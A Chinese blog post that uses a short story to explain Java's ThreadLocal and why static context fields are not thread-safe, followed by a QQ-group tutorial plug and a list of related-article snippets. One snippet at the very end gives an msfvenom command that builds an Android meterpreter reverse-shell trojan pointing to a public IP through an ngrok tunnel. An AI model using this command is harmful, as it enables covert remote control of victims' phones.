一个故事讲明白线程的私家领地:ThreadLocal
张大胖上午遇到了一个棘手的问题,他在一个AccountService中写了一段类似这样的代码:
Context ctx = new Context(); ctx.setTrackerID(.....)
然后这个AccountService 调用了其他Java类,不知道经过了多少层调用以后,最终来到了一个叫做AccountUtil的地方,在这个类中需要使用Context中的trackerID来做点儿事情:
很明显,这个AccountUtil没有办法拿到Context对象, 怎么办?
张大胖想到,要不把Context对象一层层地传递下去,这样AccountUtil不就可以得到了吗?

可是这么做改动量太大!涉及到的每一层函数调用都得改动,有很多类都不属于自己的小组管理,还得和别人协调。
更要命的是有些类根本就没有源码,想改都改不了。
这也难不住我,张大胖想:可以把那个set/get TrackerID的方法改成静态(static)的,这样不管跨多少层调用都没有问题!
public class Context{
public static String getTrackerID(){
......
}
public static void setTrackerID(String id){
......
}
}

这样就不用一层层地传递了,Perfect!
张大胖得意洋洋地把代码提交给Bill做Review。
Bill看了一眼就指出了致命的问题: 多线程并发的时候出错!
张大胖恨不得找个地缝钻进去:又栽在多线程上面了,这次犯的还是低级错误!
线程1调用了Context.setTrackerID(), 线程2 也调用了Context.setTrackerID(),数据互相覆盖,不出乱子才怪。
张大胖感慨地说:“像我这样中情况,需要在某处设置一个值,然后经过重重方法调用,到了另外一处把这个值取出来,又要线程安全,实在是不好办啊, 对了,我能不能把这个值就放到线程中? 让线程携带着这个值到处跑,这样我无论在任何地方都可以轻松获得了!”
Bill说:“有啊,每个线程都有一个私家领地! 在Thread这个类中有个专门的数据结构,你可以放入你的TrackerID,然后到任何地方都可以把这个TrackerID给取出来。”
“这么好? ”
张大胖打开JDK中的Thread类,仔细查看,果然在其中有个叫做threadLocals的变量,还是个Map类型 , 但是在Thread类中却没有对这个变量操作的方法。
看到张大胖的疑惑,Bill说:“也许你注意到了,这个变量不是通过Thread的访问的,对他的访问委托给了ThreadLocal这个类。”
“那我怎么使用它?”
“非常简单, 你可以轻松创建一个ThreadLocal类的实例:
ThreadLocal<String> threadLocalA= new ThreadLocal<String>();
线程1: threadLocalA.set("1234");
线程2: threadLocalA.set("5678");
像‘1234’, ‘5678’这些值都会放到自己所属的线程对象中。”

“等你使用的时候,可以这么办:”
线程1: threadLocalA.get() --> "1234" 线程2: threadLocalA.get() --> "5678"
“明白了,相当于把各自的数据放入到了各自Thread这个对象中去了,每个线程的值自然就区分开了。 可是我不明白的是为什么那个数据结构是个map 呢?”
“你想想,假设你创建了另外一个threadLocalB:”
ThreadLocal<Integer> threadLocalB = new ThreadLocal<Integer>(); 线程1: threadLocalB.set(30); 线程2: threadLocalB.set(40);
那线程对象的Map就起到作用了:
“明白了,这个私家领地还真是好用,我现在就把我那个Context给改了,让它使用ThreadLocal:”
public class Context {
private static final ThreadLocal<String> mThreadLocal
= new ThreadLocal<String>();
public static void setTrackerID(String id) {
mThreadLocal.set(id);
}
public static String getTrackerID() {
return mThreadLocal.get();
}
}
小结:
ThreadLocal这个名字起得有点让人误解, 很容易让人认为是“本地线程”, 其实是用来维护本线程的变量。 对照着上面的原理讲解,我想大家可以自行去看ThreadLocal的源码,轻松理解。
ThreadLocal 并不仅仅是Java中的概念,其他语言例如Python,C#中也有,作用类似。
ThreadLocal在日常工作中用得不多,但是在框架(如Spring)中是个基础性的技术,在事务管理,AOP等领域都能找到。
(完)
最近总是有人和团长要练手的大型实战项目案例,团长在这里可以推荐一些:
Java开发天猫购物车核心支付系统【电商平台核心技术】
Java开发人工智能扫一扫人脸识别系统【人工智能最新实战技术】
Java开发百度云大数据管理系统【百度云最新技术】
Java开发网易163邮件群发系统 【邮箱核心技术】
Java开发人工智能IM客服系统【京东IM核心技术】
......
有需要这些教程的朋友直接来团长的QQ群吧。
群号码:589809992
一个故事讲明白线程的私家领地:ThreadLocal的更多相关文章
- (转)一个故事讲完https
(转)一个故事讲完https 2 1 序言 今天来聊一聊https 安全传输的原理. 在开始之前,我们来虚构两个人物, 一个是位于中国的张大胖(怎么又是你?!), 还有一个是位于米国的Bill (怎 ...
- 一个故事讲懂vue父子组件传值
作者:李佳明同学链接:https://www.jianshu.com/p/2272b6ca0f0c 一个故事讲懂vue父子组件传值 讲故事前先讲代码 父组件向子组件传值 父组件数据传递给子组件可以通过 ...
- 线程的私有领地 ThreadLocal
从名字上看,『ThreadLocal』可能会给你一种本地线程的概念印象,可能会让你联想到它是一个特殊的线程. 但实际上,『ThreadLocal』却营造了一种「线程本地变量」的概念,也就是说,同一个变 ...
- 一个故事讲清NIO
假设某银行只有10个职员.该银行的业务流程分为以下4个步骤: 1) 顾客填申请表(5分钟): 2) 职员审核(1分钟): 3) 职员叫保安去金库取钱(3分钟): 4) 职员打印票据,并将钱和票据返回给 ...
- 【ZZ】终于有人把云计算、大数据和人工智能讲明白了!
终于有人把云计算.大数据和人工智能讲明白了! https://mp.weixin.qq.com/s/MqBP0xziJO-lPm23Bjjh9w 很不错的文章把几个概念讲明白了...图片拷不过来... ...
- 一个故事搞懂Java并发编程
最近在给别人讲解Java并发编程面试考点时,为了解释锁对象这个概念,想了一个形象的故事.后来慢慢发现这个故事似乎能讲解Java并发编程中好多核心概念,于是完善起来形成了了这篇文章.大家先忘记并发编程, ...
- 分享一个自制的 .net线程池
扯淡 由于项目需求,需要开发一些程序去爬取一些网站的信息,算是小爬虫程序吧.爬网页这东西是要经过网络传输,如果程序运行起来串行执行请求爬取,会很慢,我想没人会这样做.为了提高爬取效率,必须使用多线程并 ...
- 一个故事讲清楚NIO
转载请引用:一个故事讲清楚NIO 假设某银行只有10个职员.该银行的业务流程分为以下4个步骤: 1) 顾客填申请表(5分钟): 2) 职员审核(1分钟): 3) 职员叫保安去金库取钱(3分钟): 4) ...
- MEF入门之不求甚解,但力求简单能讲明白(四)
上一篇我们已经可以获取各种FileHandler的实例和对应的元数据.本篇,我们做一个稍微完整的文件管理器. 1.修改接口IFileHandler,传入文件名 namespace IPart { pu ...
随机推荐
- MicroPython可视化编程开发板—TurnipBit自制MP3教程实例
转载请以链接形式注明文章来源(MicroPythonQQ技术交流群:157816561,公众号:MicroPython玩家汇) 当前我们都生活在一个有声有色的社会当中,欣赏美丽的景色,享受动人的音乐, ...
- C#winform程序关闭计算机的正确姿势
/// <summary> /// 计算机电源控制类 /// </summary> public class EnvironmentCheckClass { [DllImpor ...
- centos 虚拟机桥接
/etc/sysconfig/network-scripts/ifcfg-eth0 配置文件 vi ifcfg-eth0 DEVICE=eth0HWADDR=00:0C:29:B8:B5:65TYPE ...
- 海康、大华IPC的rtsp格式
海康: rtsp://[username]:[password]@[ip]:[port]/[codec]/[channel]/[subtype]/av_stream说明:username: 用户名.例 ...
- java指令重排序的问题
转载自于:http://my.oschina.net/004/blog/222069?fromerr=ER2mp62C 指令重排序是个比较复杂.觉得有些不可思议的问题,同样是先以例子开头(建议大家跑下 ...
- LVS集群之工作原理和调度算法(2)
LVS的工作机制 LVS里Director本身不响应请求,只是接受转发请求到后方,Realservers才是后台真正响应请求. LVS 工作原理基本类似DNAT,又不完全相像,它是一种四层交换,默 ...
- 用clipboard.js实现纯JS复制文本到剪切板
以前很多人都是用ZeroClipboard.js来实现网页复制内容,火端也是用它.ZeroClipboard是利用flash来实现的,ZeroClipboard兼容性很好,但是由于现在越来越多的浏览器 ...
- 12、ABPZero系列教程之拼多多卖家工具 拼团提醒功能登录拼多多实现
上篇文章已经完成了整个拼多多拼团提醒功能,本篇继续完成拼多多帐号登录,拼多多帐号登录的目的是为了获取拼团商品的SKU和订单号,便于商家备货. 以下是拼多多官方的后台登录,要实现的功能并不是直接在这里登 ...
- sqlalchemy-数据库操作
import datetime from sqlalchemy import create_engine from sqlalchemy.ext.declarative import declarat ...
- msfconsole弄外网手机木马
创建个通道./ngrok tcp 1113 msfvenom -p android/meterpreter/reverse_tcp LHOST=52.15.62.13 LPORT=17016 R &g ...